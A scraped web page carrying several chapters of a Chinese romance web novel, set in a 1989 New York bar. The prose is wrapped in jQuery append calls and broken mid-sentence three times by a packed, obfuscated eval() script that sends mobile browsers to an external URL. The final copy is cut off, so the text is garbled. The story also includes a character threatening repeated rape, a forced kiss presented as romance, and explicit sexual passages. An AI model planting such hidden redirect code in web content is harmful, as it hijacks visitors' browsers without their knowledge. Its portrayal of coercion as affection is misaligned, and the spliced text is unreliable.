$(''#content'').append('' 给大声地轰走了。 项廷什么也没做,挂着笑的脸也就退走:“抓好了,出发了。” 项廷的肩膀很宽,但并不夸张,不是那种肌肉鼓鼓的,背脊也还没有到厚实的年纪。可他健步如飞的同时,上半身能基本稳住不动,简直是天生抬轿子的体质。起驾以后,蓝珀也异常地安静,都没有拨拉项廷裹在他身上的那个来路不明的防水布。哪怕好几次他都感觉头上不是花环,是竹蜻蜓,他真要飞起来了。 项廷怕他的脚疼坏了,想转移注意力,就找话跟他聊。 蓝珀说:“跟别人的呼吸太近会让我觉得恶心。” 项廷说:“但是你嘴里特别香,我就想跟你说话。” 但项廷的气息好像也是酸甜的热带水果的味道,像那种软的泡泡糖。蓝珀不知道他现在嗜蓝莓糖如瘾。听着项廷那些不三不四的话,蓝珀一辈子怕也不会承认,相比他百念皆灰,心如槁木的生活,确实是解压又解闷。 还有一次蓝珀冷得吸了吸鼻子,项廷以为他气哭了,警告:“不准哭啊,哭的话我要另外收费。” 蓝珀说:“我,我要晕过去了。” 项廷说:“睡会儿就到家了。” 蓝珀说:“我家,你认识路吗?” 项廷说:“我闭着眼都认识,不信你蒙着我的眼睛。” 蓝珀说:“你就是个癞□蟆,想得很美。” 穿过一长串不体面的楼、连绵的涂鸦,直到覆盖到了一家小酒馆,门面极小,铁皮招牌旧了,锈了,动荡着一枝树影。廊下一个人都没有,只有一条看门狗在对大家拥立为新王的项廷坐姿行注目礼,就看着这橘色的雨夜最适合的谱写这种说是又不是的爱情故事。 “放我下来,”蓝珀弱不胜衣的模样,“我累了。” 项廷奇道:“你趴着还能累?” 蓝珀大声:“不是每个人都像你一样,田径运动员!” 项廷感觉被夸了,谦虚:“不是吧!” 蓝珀想放点狠话,比如,对,你不是运动员,你是强/奸犯,诸如此类,可是难以启齿。 项廷看穿了他:“你是不是在想我特坏?” 蓝珀拒绝对话,闭眼,他想通了,面对不要脸的白痴,其实装装死也就过了。但眼皮恨得颤颤的。 项廷就说:“那你也没好哪去,我还没说你坏了我的九阳神功呢。” 决心忘机的蓝珀,又被气笑了:“好啊,那怎么办?” 项廷豪情一叹:“北乔峰也没有回天之力!” 蓝珀猛的睁眼:“你再说这话,我非捶你两下不可!” “捶吧,你早该找我打一架了。”项廷目不转睛,“正好我再多看你一会,不然我以为我在看电影。” 蓝珀的眼波在盯了他一下之后,跳开了。项廷却不让它跳开,紧紧地追踪着,像此刻他的手里才攥了一根绳子,让它在外面遛了一圈,最后的最后,总要又把它牵了回来。 项廷的眼神让人发软。心里麻麻的蓝珀,也就忽认识到自己似乎一直在沉没,是男孩才使他漂浮。项廷说的电影,难道是他想起来了些什么吗? 但蓝珀又有点矛盾喜欢他的笨,因为只要项廷一直失着忆,就大可不必如自己过着十年如一日内心千夫所指的生活。 蓝珀抿着嘴偏过了头,自我感觉有种神佛垂目的威严。项廷却感觉他像只猫,对着人哈气,又凶又怂,不敢直接对着人哈,折中一下才扭过头去哈。 “蓝珀,”项廷郑重其事地叫了他一声,压着声的样子像个地下工作者,好像接下来要抚今追昔,揭开他年的伤疤,说出令人非常不忍卒听的话,以至于项廷自己也在心里辗转很久才说得出口。蓝珀几乎竟觉得一切竟美好得像是一个醒着的梦了。 然后听到项廷他说:“你长得是真好看。” 54. 君我兮星灭光离 蓝珀不作声。心中天南地北不知绕了多少个圈,最后还是无法不回到项廷这句讨人厌的话上来,赌气不去想都不行。 “……别在那胡说八道了!” “我胡说你把我头拧下来!” 项廷说他好看,不是奉承,都称不上赞美,他认为自己单单纯纯地有感而发,类似于天气真好。蓝珀的美丽和太阳东升西落一样,作为宇宙间的客观事实存在,不认都得认。可是蓝珀好半天不回应,一回应居然就很凶,项廷觉得被偷袭了,于是就更大声地回了他,至少在气势上完全没有输。 蓝珀:“……狗嘴里吐不出象牙。” “真的啊!真的。” “好,那你的眼睛跟着你也不算白来人世一趟了。”蓝珀想下来,身体扭得很厉害,说一句话就换一个动作,“你跟那帮兄弟会的学得油嘴滑舌!” 项廷把人放下来,摘掉雨衣和花帽:“我说错了吗?你长这么大,没人这么跟你说过吗?” 蓝珀脱口而出:“别人说的跟你说的能一样吗?” 等一等,好像哪里有一点歧义?很严重的歧义! 正要此地无银三百两一下,就见项廷看着他笑。 蓝珀说:“我不是那个意思,你不要自作多情。” 项廷说:“我当然知道你不是,你心里一直哼哼地很看不起我。” 没想到项廷看不见任何深沉东西、毫无想象力的头脑,竟能够总结出这么精当的一句话来,蓝珀一时间无言以对。 好一会,看项廷还美滋滋的,一片傻气有如皎日,蓝珀才狐疑道:“那你笑什么?” 项廷:“配合你一下。” 蓝珀生气被耍了,拧他道:“暴露了吧!” 项廷却说:“你有时候好有时候坏,我知道你是骗我的,只要你愿意骗,我就愿意受这个骗。” 蓝珀的嘴唇动了两下,把视线移开,似乎一门心思赏雨。末了他什么也没有说,蓝珀发现自己好像真就无法面对这种傻得有点聪明的人,有点一物降一物那意思。 他走向几级向下的台阶。这间地下小酒馆藏在繁忙的街道下面,要找到它不容易,得穿过一个幽暗的通道。 “你慢一点,小心点。”项廷提醒他,跟了上去。 只有零星的烛台提供微弱的光线,酒馆里柔和的音乐越来越近了。 几步就到了,蓝珀忽然转过身来。黑洞洞的,项廷没来得及停,就撞了个满怀。 项廷怕他气上加气,忙要撒手离他远点,可是不知为何,蓝珀这一刻好像突然不在乎什么距离不距离、干不干净的问题了。 看不见蓝珀,但感觉蓝珀的声音又近又很远,像一缕缥缈系不住梦的烟,一不小心它就会逝去不复还了。 他说:“你记得仰阿莎?” 项廷刚要回答,蓝珀抓住了他的手臂,攥得十分之紧:“你仔细,仔仔细细地想一想。” 好像特别恐惧项廷急吼吼地道出自己不想要的答案,蓝珀都宁愿他永远不说。 蓝珀的勇气一闪而过,马上就想撤回了:“没什么!谢谢你肯听我说,现在我觉得好些了。就当我终于能对自己说一句,算了吧。” 可又意难平:“项廷,我总感觉我们遇上,好像上天的神奇力量做了安排,有句话说,不是冤家不聚头,对吧?那我必须说出来,否则我就会一直钻牛角尖,我就是不死,也不得好过了。” 项廷追问:“所以你说的什么?” 蓝珀的心里十年来反反复复地请着这个愿,到了如今这梦中的一刻竟忘了词一般,他的声音是被揪紧了的,仅仅三个字竟也时断时续:“仰阿莎……” “再说一下?” “仰阿莎,”蓝珀的手从项廷的手臂一直往上,抓住了他的肩膀,他的指甲滑来滑去,虽然轻盈如游丝却很尖利,最后双手捧住了他的脸。这哪里了得,项廷烫得吓人想缓一下,头却被蓝珀突然变得坚强的手给固定了。 蓝珀以几乎是软弱求全的语气在提示他:“仰阿莎是一个女神……” 项廷:“她中国人吗?” …… …… 啪! 挨打了。 蓝珀扇完耳光就走,项廷还得蹲下来捡因为他扇耳光的幅度太大,抡成了大风车而连带掉下来的烛台,还好周围没有多少可燃物。 火都灭掉了,项廷的脸仍然滚烫。刚刚蓝珀的手那么凉,仿若睡莲的两片甜美的大花瓣把他的脸拢在里面,轻轻地闭合,被温柔烘焙,一下就烤熟了。项廷静立原地,感觉着脸香香的,然后听到蓝珀到了酒馆门口,在敲门。项廷不懂,闻所未闻为什么有人连敲门都是那样细声细气的,梨花带雨,让人很想保护,想竞先对他的脆弱负起责来。 酒馆的招牌上写着Kettle of Fish,壶鱼一锅粥。可是除了一点爵士乐,里面堪称安静。吧台朴素极了,一切黑得恰如其分,有的人席地而坐,有的人静立,有人跳舞;有人已醉一半,有人在灯下打开第一页纸……吧台纵向占据了一面墙,对面是一排卡座酒桌。总体上其实空荡荡的,也只有几桌客人消磨不去了。 看见项廷进来,倚墙的女酒保不屑地掐灭了烟。 项廷介绍,这个穿着西部风格皮靴的黄毛丫头叫珊珊,是他的朋友。说珊珊有一辆皮卡车,可以送我们回家,但要等她下班。在那之前,先去员工宿舍里洗个澡、换掉湿透的衣服吧? 原本以为蓝珀肯定不会答应,光是听到要在别人的房里洗澡,蓝珀就要发出恐怖片里的那种娃娃音效让人灵魂出窍了。项廷已经准备好了一大堆说辞,没想到蓝珀竟然二话没说就去了。 项廷还想解释一下,那些换洗的衣服其实是他自己买的,连包装都还没拆,放在这儿是因为这里离格林威治村很近,他经常来过夜。 可是蓝珀打断他:“你别说话了,除了害得我恶心,什么效果都没有。” 看着他消失在休息室小门的背影,珊珊扑哧一声笑了出来。她好像也看得出蓝珀是个上城区的显要人物,蓝珀走了,她才敢笑话当面吃瘪的项廷:“啊哟,今天是星期几?啊,星期六啊,你周六有货要送吗?你够逗的,真他妈够逗的。” 项廷静悄悄地坐了一会,才说:“不知道。我没其他的地方要去,也没更好的事情可做了。” 珊珊感觉他居然有点颓:“喂,你怎么了?” “你知道什么仰阿莎是什么吗?” “什么玩意?怎么了,中邪了?” “没怎么。”酒橱的玻璃照出项廷的脸,巴掌印这么快就消了,于是他的声音更有点懊丧了,“你今天没上学吗?又逃课了?” 珊珊:“干你屁事!” 项廷像个大哥哥:“好好学习啊,上个好大学,读个好专业。” 项廷在分析成因,蓝珀突然的翻脸,必定是他说错话了,一定是蓝珀哪句话的玄机自己没有听懂,项廷短时间内只能归咎于文化程度不够。而且强烈的直觉告诉他,这个错误非小,他在蓝珀心里八成已是个碑了。他是昏头仔,蓝珀发现火车都撞不醒他,就真的放弃了,眼不见为净。 “什么专业?” “金融吧。”项廷说话不过脑子,“又聪明又漂亮。” “哇塞,放屁吧你!记不记得你上次说搞金融的全是守财奴,坏得很?心肝肺都黑了,资本家统统不是好鸟?这种男人早就玩烂了,脚踏几只船那是家常便饭啦!一个包八个二/奶,绝对是出轨专家!”珊珊添油加醋。 “就当我之前说过的话是个屁吧,放了。” 项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398241|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廷迷茫着迷茫着,不知道他该先干什么,去冲个澡还是先吃点东西,但他的脚替他做出了决定。 “你去哪啊?”珊珊话没说完,项廷已经跑出门去了。 大概过了半个多小时,他才回到酒馆。蓝珀也洗好澡了,披着项廷的一件象牙黑牛仔外套,坐在吧台的高脚椅上,要了纸笔,写着什么东西。 马赛克的地面,模糊了界限的墙,不平坦的锡顶天花板,只有一些酒瓶子的光影在提供照明。可就是如此这般的昏暗里,蓝珀也看起来像数百万美元般耀眼,他那种容貌确实是伊利亚特式的能使千艘战舰齐发。 项廷此时想的不是他的脸,只觉得蓝珀被自己的衣服包裹着,小小的,小鸟躲在大大的芭蕉叶下梳理自己的美毛。项廷心里一暖,可又是一紧,因为蓝珀像一块冷凝下来的小巧糖体,也像一小条黑巧克力,苦涩、敏感。 在部队里排雷作业时项廷都没这么谨慎,他慢慢地走过去。 蓝珀正好写完了,把圆珠笔像羽毛笔那么优雅地一搁,俨然回到了他平日里翻手云覆手雨强大的样子,专制又冷漠地说了一个字:“坐。” 项廷站着没动,看到蓝珀垂下眼睛看他自己的手,他把打火机摆在烟盒上的正中央,周围用香烟圈了一个正圆,像刚刚搞了一个小型的祭祀仪式似的。 手边的酒是便宜的麦芽酒,有大麦烤煳的焦味。蓝珀被淡淡的气味呛得咳了几声。项廷的愧疚就一下子全涌了出来,他收回他说的话,蓝珀不但可以拧下他的头,蓝珀还可以把他的脸皮丢在地上当西瓜皮踩,只要蓝珀能原谅他犯下的弥天大错。 可是为时已晚了,回头并非是岸。 蓝珀倒出他估算的五盎司烈酒,一口见底。 几杯酒没怎么影响他的冷血,蓝珀身上沾染着美轮美奂的夜光,笑道:“你是不是觉得你这样不屈不挠死缠烂打,总会有好结果。可是你笑早了,我并不傻,也不贱,虽然我是卖服务的,服务谁都无所谓。但你让我的一条命差点都搭进来了,我一看到你就有胸疼与痛风的症状,我难道还会被你几句好话就缴械了?项廷,有个够吗,知道么,你有种以后都睁着眼睛睡觉。否则我们这样不明不白的到底算什么呢?” 项廷一阵泄气,没有话说,但是展开手掌,一枚银的耳骨夹叮一声掉在了桌面上。蓝珀只是抱怨了一句跑丢了,项廷就原路返回去找,快要钻进排水管道里去找了。 “我逗逗你玩的,你是寻回犬么,我应该丢个飞碟?”蓝珀把耳夹信手丢进了壁炉里。 就当做项廷对他刚才的一番话没有任何异议,蓝珀接着说了下去:“我明白你为什么非要今天晚上来找我。” 项廷猛地头一抬去看他。蓝珀是什么意思呢?连他自己都不大敢说的话,蓝珀要代他说出来了吗? 风吹落一段长烟灰,蓝珀说:“你是为了瓦克恩。” 项廷:“?!” 蓝珀说:“好了,你的嘴巴张得大都看到嗓子眼了,我不想检查你的扁桃体健不健康。这种事放在以前,我会说不好意思,我相当自我,你要不换个人指望一下。可是现在你赢了,我对你的纠缠抽身乏术。这里是草拟的一份协议,我会给瓦克恩打一个字条,表明我的诚意,而你与之要付出的是——” 项廷被冲击得一脸问号。蓝珀吐气如兰,可全是冷空气,像一大团飞旋的雪花攻击了他。他快分不清哪句话来自蓝珀之口了,吧凳上的其余酒客稀薄的低语,听起来也如此地惊心动魄。无法判断哪个方向来的滴答声,哦,原来是电子钟嘀嗒,均匀,清晰,把时间一点一点剪去。 终于天火降临,灰烬连成道路。 “我再也不要见到你,从今往后,生人就作死别。”蓝珀止水样的目光,无端地微微一笑,“我们,体面点收场吧。” 55. 缥粉壶中沉琥珀 狭小店堂里的空气越来越凝重。项廷先是似乎尴尬地换只脚站着,然后坐下来,一条胳膊搭在吧台上,一只脚踩着身旁高脚凳底下的横杆。蓝珀见对方像绞尽脑汁也想不出像样的回答,便仁慈地没有逼着他马上作答。 “同一个杯子,再给我续满。”蓝珀朝酒保勾了勾手指,轻声说,“别让味道跑掉了。” 酒保往他杯子里倒了一量杯的路易十三,然后加上几盎司的杏仁奶。蓝珀又加了一句:“冰要打得碎碎的,还要装得满满的。” 正当蓝珀甚至不确定他有没有留神在听的时候,项廷垂下眼睛看他的杯子,然后抬起视线看他的脸:“你别喝太多酒,冰也是。” 蓝珀一秒变脸,还当项廷听到自己在高盛怪叫,这才关心起他的嗓子来了。不禁赧颜,心想这世上谁知道他怎么叫都行,就项廷不行。但他马上又想,怎么可能,项廷的智商一向比较粗放。于是蓝珀说话语气自带哄人哄己的效果:“小东西,你还操心起我来了?” 项廷说:“你吃晚饭了吗?空腹这样喝不行吧。” “我当然不介意点些美味小吃,边吃边聊。直到你觉得合适,在这份协议上签名。”蓝珀的目光流连,低声呢喃,“我可以慢慢来,陪你到天明。” “不牢你破费。”项廷说,“我包里有吃的。” “麦当劳?” “不,”项廷掏出来一个六角铁盒,“豌豆黄。” 蓝珀笑得想喝口酒,杯子却被项廷绑架了。蓝珀觉得场面僵在这里,实在有点滑稽,无聊到准备拿张报纸来玩填字游戏。一只黑猫小心翼翼地从拐角伸头看他们。 珊珊路过:“你们要是饿了,我可以你们拿块免费的派。” “谢谢你,我不想吃派。”项廷认真地说,“我给我姐买的,她最喜欢吃这个。姐夫,你也尝一块,保证你也会喜欢。” 蓝珀有点看不懂他的跑题,但还是说:“噢,我真找不到理由拒绝你,有的小孩生下来就是索命的偿债讨债。对啊,今天你姐姐就要来了,真是个美好的日子,我的婚姻无比美满,工作如日中天,精神状况不可能比现在更好了……” 他一边说着,一边打开了六角盒。 映入眼帘的不是什么老北京宫廷小吃,只是一叠叠捆得整整齐齐的发票、货单。 现在蓝珀能看懂项廷的面容了。他从中见到的是满满的诈骗。 项廷放在吧台上骨骼分明的手攥紧了,握住杯子喝了一大口伏特加,然后脸上一个笑容才开始成形:“带这玩意去接机,我看不太可能,我姐一点都不爱吃。” “…不爱不爱呗。” “她不是不爱,她简直是恨。” 蓝珀吃掉侍者送来的点心,感觉像在嚼草料,但他还是一口一口嚼着,用牛奶冲下去。 项廷接着说:“我姐跟我说过,小时候最后一次见我妈的时候,她们吃的就是这个。我姐刚吃了一口,我妈就走了,再也没回来。我姐见不得这个,连听到这三个字就要哭,谁也劝不住。” 蓝珀说:“是吗?那我们第一次见面的时候,你不是说你姐还特意给我带了一包吗?” “那是枣泥酥,不是豌豆黄,我说豌豆黄是为了挖苦你,说你不来接我让我等得黄花菜都凉了。”项廷再补充,“而且我姐是给我的,不是给你。” 蓝珀笑道:“看到了吧,我这么可怜。” “可怜么,你的记性这么好,连我第一次见你说的豌豆黄都记得。但你怎么就偏偏漏掉了我姐最讨厌的是豌豆黄?你这样的人,也敢娶老婆。” 蓝珀侧过身去找酒保要酒,泰然自若地把距离挪开了。 “看来你只记得你想记的,但结婚可是大事,”项廷抓住蓝珀的椅子腿,轻而易举就他一整个人连人带椅地骤然拉近,“姐夫,别闹了。” 蓝珀说:“我是有点喝多了,但你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398242|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像磕大了。不然我求求你,你能不能告诉我,你为什么要跟我说这些,抠细节?” “因为这个故事很有意思。”项廷说,“我想了很久。” 项廷的音量跟耳语差不多,蓝珀却说:“但是你不只是在对我说,大家都听得见你说的话。你知道你在干什么吗?” 项廷笑了笑,问:“那你知道我在想什么吗?” 蓝珀的脸已经跟冰牛奶一样白了,他尽可能平静地站了起来,说失陪,要去趟洗手间。但是人一心虚的时候就爱显得自己很忙,酒馆里点唱机在放音乐,男中音柔情歌手,弦乐大乐队伴奏,蓝珀挨个打赏了一圈才去卫生间。 然后他发现了一件更无语的事,自己的手上还端着酒,他赶紧把酒倒进水槽,一边心里浮现出项廷那闪烁寒光刀锋一样的眼神,什么时候狗变成一条随时随地可以撞破铁笼的狼、扑上来反咬一口了?蓝珀惊坏了,恐怕要过一段时间才能克服心障了。 蓝珀把门挂了锁,专心地洗着手。有什么东西咔嗒一响,他脑袋里的警报器顿时狂叫,蓝珀立刻要进隔间,洗手间的门刚好被踹开,差一点就逃掉了! 好像钢琴的低音区域被人用一只大锤猛烈地敲打了一下一样,空气中仍然回荡着爆炸的余音。 看着项廷朝他一步步走来,对方明明还没有侵犯自己一星半点,蓝珀的行动力就先残缺了。 “这么怕我吗,你耳朵都红了。”项廷的表情就叫作,反正你做错事了,该轮到我嚣张了吧? 蓝珀预感到他想越狱,嘴唇上方冒出亮晶晶的冷珍珠:“别乱来!” “什么叫乱来,”项廷笑道,“手可以这样放吗?” 蓝珀清姿含怒:“乱来你会送命的。” 项廷估计只觉得他找不到借口的样子都这么可爱:“为什么我不能乱来?” 蓝珀说:“我是你姐夫!” 项廷说:“我赌你不是。” 56. 敛黛含颦喜又嗔 蓝珀心惊肉跳,他试图说服自己这只是上一个噩梦留下的残渣。可项廷已经给他的身体打下了残忍的烙印一样,项廷把他碾得粉身碎骨过。好不容易拼合起来的蓝珀胸口发紧,喉咙感觉到阵阵抽痛,他的手指在发抖,怎么着都不会崩的一张脸崩了,从镜子的反射里看到自己惊惶的影子。 “姐夫,你不要紧吧?” 蓝珀被他的笑也吓着了,双手猛的往他胸上推:“离我远点……!” “你还没说,敢不敢跟我赌。” “我跟你一个小孩子赌什么?结婚证就在你北京的家里,传真电报最快明天早上就发过来,到时候对着白纸黑字你再呼幺喝六也不迟!” 项廷听了,居然还有点小高兴的样子,说:“那这样说,你真是我姐夫了。” 该来的总会来也不能自己吓自己,蓝珀在天崩地裂中尝试淡定:“我恨不得没有你这个小舅子。” 项廷说:“既然都是一家人,还能老死不相往来了?” 识时务者为俊杰,人啊不能和命争,蓝珀决定不跟他在他的地盘讨论那张协议的问题,不然自己在这被玩死了都没人知道,一年半载后纽约警局也只能按悬案挂起来。他宁愿损害一点隐私,叫一整个律师团来跟项廷谈。但他显然低估了项廷看到那一纸休书后的狂怒,月圆之夜直接降临,也不知道自己此时扭捏的姿态,才真的让人心猿意马。 蓝珀笑眯眯:“我那么一说,别往心里去,好不好?是姐夫不好。” “可我不想叫你姐夫了,怎么办?” “叫叔叔也行,再说点吉祥话,你说一句我加一万。” 项廷恶意极了:“妈妈。” 蓝珀忍:“…早点回家吧,看看你的黑眼圈,老实睡觉才是大补。” 项廷又是成心的:“也是,我和你在一起满脑子都是睡觉。” 项廷感觉到了蓝珀在咬牙切齿,因为听到了一种类似小鸟磨喙的声音。 小舅子的无耻无法改变,姐夫只能避而不谈,装作不存在,维持一个基本的体面。 蓝珀不敢把后背暴露给他,面对着他,一步步往门那倒退。结果就是他挪三步,项廷一步就迈上来了,老鹰抓小鸡的游戏。 心头的凉意又袭来,蓝珀拢了拢衣服,一只手反过来紧紧按在门把手那儿。 项廷先开口:“走啊。” 蓝珀担心没安抚好他,倍以理诱之:“今天的事就当没发生过,我们之间宿怨纠葛也一笔勾销。你要相信,我不仅绝不会找你的麻烦,我还可以保证你赚够足够孙子辈退休的钱。懂吗,商业就是这样,只要你的资源好,鞋带都能钓上来鱼。” 巴望着靠钱解决,看起来比较悬。项廷说:“这个先放一边,来,跟我说说你和我姐是什么故事?” 一提这件事好像就戳到了蓝珀的痛处,他什么冷静什么策略也不要了,疾言厉色道:“有什么故事?是不是我们造小孩的姿势也要通知你?” 项廷笑着说:“不要靠说的,有本事你让我在旁边亲眼看。你一个男的叫得比女的还大,一□你就哭。你求求我,我帮帮你,在后面□。” 蓝珀听懵了,项廷还说:“你这么爱钱,是不是只要钱到位,姿势全都会?” 蓝珀怔在那儿,好久没有动:“你说的还是人话吗。” “你又把我当人看了吗?”项廷走近一步,“我做梦都是你,你?张嘴闭嘴就想着用钱打发我。” 蓝珀震惊失色:“你一个强/奸犯,还有脸说这个!” 项廷谈笑自如:“强/奸你一次就是强/奸犯了,那两次是不是?三次是不是?天天强/奸你又是不是?蓝珀,你最好一次性杀死我,你只要一天杀不死我,我就奸你奸到死。” 蓝珀听得一直吸气,吸得后颈都疼了。他后背抵着门,贴得不能再紧,却俨如玉碎了一池:“别过来了!项廷!我、我真的怕了你了!” “我不过去。”项廷说的话那么污秽,可有所为有所不为,行动上却一派干净,后退了一步,安静、克制,“但我踩住你的影子你就不能动了。” 小小的空间里,每句话都走不远。就这句话反复地激荡,蓝珀只觉得心里一阵酸热。我把你影子踩住了现在你就哪儿也去不了了,依模照样的话,男孩曾对少女说过。时移事去,何可言念。这种不合时宜的怀恋蓝珀忘了是怎么完结的,但记得随之而来的空白。 因为就在他追思时,不知何时项廷已经来到了他的面前:“不就是亲了你一下吗?又不是亲嘴你怕什么?” 蓝珀连忙捂住自己被暗袭的半边脸,目中影动清漪,短暂地静默。项廷覆上他的手捧住他的脸。蓝珀能明显感到那手茧分明是握枪握出来的。蓝珀终于想起来逃,却有种变成猫被挠下巴的样子。他往哪边躲,项廷便飞快地亲他哪边脸,蓝珀便羞耻得哪边的睫毛蝴蝶般惊飞地扑闪。 花影乱莺声碎,不摇已是香乱。项廷看了看:“什么东西颤悠成那样?” 蓝珀屈辱万分,正要甩开他,却被项廷一只手轻轻松松卡住了下巴,钳制得整张脸连带脖子动弹不得,肩膀也麻住了,紧接着双唇就被无比霸道地深深入侵。 蓝珀当然毛骨悚然,这一刻跟挨了一棍似的眼前发黑有什么区别呢,但是在绝对强权独裁的力量之下,他又能反抗什么。项廷竟像吃冻梨一样吸他里面的水,舌头里面明明没有骨头却那么强悍有力,难道是装了马达。蓝珀几乎在被深/喉,只能头微微向后仰,尽量压低放平自己的舌头,克服呕吐的反应,最大化止下损。 项廷一直握着他的手捏他的手心,感觉蓝珀快站不住了,便刷的一声拉开了门,牵着他快步走到角落没人的卡座。呼啦!帘子一遮,项廷把人按坐在沙发上搂紧,话还没说又亲了上来。 蓝珀锁着眉头被他一点一点地霸占嘴里的每一寸,舌头都退缩到嗓子眼了却还是被项廷勾出来火热交缠。蓝珀推他的肩膀推不动,挠他的后背像挠块铁板,最后抱住他的头想掰开,却摸到项廷烫得吓人的脸。 激烈的舌吻中蓝珀睁开眼睛,只见这么黑,项廷赤裸裸地散发出一种邪恶魔王气息,可他的脸却是肉眼可见地爆红,扣着他的手也似乎在颤抖,胸膛里的心跳好似赛车的转速表。蓝珀忽然古里古怪地意识到,眼前的男孩越是这样地生涩粗鲁,越证明了他把所有第一次都给了自己。 后面的事情就有点掌控不了了。项廷的舌头试探性地来挑拨,蓝珀渐渐被动地也伸出来了,好软。蓝珀就当被狗咬了,可主要是他刚喝了点酒,还没刷牙,他都嫌弃他自己,项廷还一直啃个没完没了。 但蓝珀又比谁都身体力行地明白,千万不要试图挑战一个十八岁男孩的胜负欲。往前推几十年,项廷这种土匪少主首次出山必然要抢回来个压寨夫人,走进和平年代多少年了,项廷也是一看就要在违法犯罪的边缘大鹏展翅的。你告诉他他是饮鸩止渴,但他这种人就是非要把头伸缸里牛饮去喝。 项廷一直在里面胡乱搅和,蓝珀实在要窒息了,垂死挣扎,然后项廷松开了,紧紧地抱住他。蓝珀头靠在他肩膀上,情真不似作伪,感慨了一句:“舌头好麻,快没知觉了。”项廷嗯了一声就松开手,还是抱着他的腰,互相对视了一眼,项廷立马亲上来了。这次熟练很多。 项廷:“嘴巴张大一点。” 蓝珀:“……要饭的还挑嘴。” 项廷在里面深深地□□,却还说:“快点张开,亲不到你了。” 两人从浅尝辄止到舌吻来来回回亲了十几次,蓝珀无计可施,腿早就软了,现在是坐着腰也酥了,项廷就扶住他的后腰撑起来,几乎把人折成微微反弓的姿态,迫使他仰着脸暴露出脆弱的嘴巴。项廷有次只是手指擦过他的唇边,蓝珀的舌头便出来与他幽约。项廷脑袋里轰的一下,想到他曾撑开他的嘴巴试了试最多到几指的大小,可□□的?尺寸那么大,最后还是撑坏了他嘴角,磨破了他的双唇。 蓝珀实打实被亲晕了,半缺氧,在他怀里眯了会儿,结果睁眼又被吻住了。伸舌头互相吸着舌头,交换着口液越亲越甜,项廷还故意弄出声音。蓝珀忍耐着那些噗滋噗滋,可是他三秒钟不到也忍不住哼两声。生理上的事很难解释清楚。 项廷就说:“叫得那么夸张,你被我□都没这样叫。” 收获耳掴子一枚。项廷说:“你爱打就打吧,长这么大我还没受过挨揍的滋味。” 他把蓝珀的手按在心口,说:“你说实话,有没有打过别人?” 导致打一会亲一会,亲一会打一会。 唇齿相依之间,蓝珀细细地喘着说:“我发现了……你是故意讨打。” 项廷说:“你打我比你晕过去好。” “……我刚刚那是看到蜘蛛了!”蓝珀一口气卡在那不上不下,没法往下咽的感觉,“看到挂在空中的蜘蛛我会讨厌到昏死过去!” “那不说这个。那你觉得怎么样。” 蓝珀评价他的吻技,丝毫不留情面:“差远了。” “那你教教我。”项廷说完就懊悔了,“你别教我了,你太厉害,我会胡思乱想。” 然后项廷停下了,也不说话,就趴在蓝珀的颈窝一直在有声没声地喘。 蓝珀以为结束了,一只手试着把他剥下来。另一只手则秘密地去摸桌上的矿泉水。须知蓝珀可是个平常喝一小口清汤就会擦三遍嘴的人。他现在只感觉被人按在电椅里,精神上不断流血,可是又怕自己漱了口,被项廷看到了项廷逆反,不是又激化矛盾了? 项廷把他往怀里一拽,将蓝珀被亲乱了的,散下来滑落在额头的碎发拨开,盯着他吐出一点晶莹的反光的下唇,说:“我好难受,想亲你,可是亲你更难受。” 项廷主动移开,码桌上的扑克牌。他把外套脱下来盖在腿上,蓝珀肯定懂发生了什么,这种年纪的男生,你随时随地和他接吻,甚至只是牵个手,他就随时随地分分钟硬给你看...蓝珀斜睨,笑了两声。项廷说没事:“我缓缓,一会就行。” 蓝珀一只手主动搭上了项廷的肩膀,五指只是轻轻地拢了拢,项廷就扑了上来,这回手竟然不老实地伸到了背上,而且从唇含到了耳垂,但是嘴巴是连蜻蜓点水亲一下也不敢的。蓝珀无名火起,强行扳过他的脸狠狠拍了一下之后发现他已经下面彻底鼓起一大包,于是眉梢眼角都在嘲笑项廷这种特别想亲,想亲又亲不爽的样子,感觉他是在妈妈怀里拱来拱去找不到□□的小狗,眼见着真快渴死了。 蓝珀看戏:“你缓完了吗?” “我没完了,不用管我。”项廷丧气地说,然后很清奇地问,“我帮帮你?” 蓝珀一下逃开好远,不自主夹紧了腿:“我怎么了我就要你帮?” “那你刚刚舒服吗?”项廷诚心发问,“还是说你看着舒服其实很痛,因为你手心都冒汗了。” 蓝珀当然不会回答,他抛出一个自以为很致命的问题:“你还知道要‘帮我’,所以你清清楚楚我是男的?” 1989年,两条街外隔壁的石墙旅馆发生暴动过了整整二十年,但大部分州仍视同性恋有如虎狼,军队同性恋禁令令出如山,解放阵线的组建遥遥无期。但凡同志,莫提人权,何况是蓝珀这种有变装皇后嫌疑的了。 项廷:“我没说你是女的。” 蓝珀:“所以我是男的。” 项廷:“那你也不是。” 蓝珀已经麻木了,项廷此人的自洽与幽默感真是造物主级别的。上帝,你造人的时候怎么能艺术成这样?蓝珀觉得他的唾液恐怕也具有降智的功效。但还算平静地问:“那我是什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 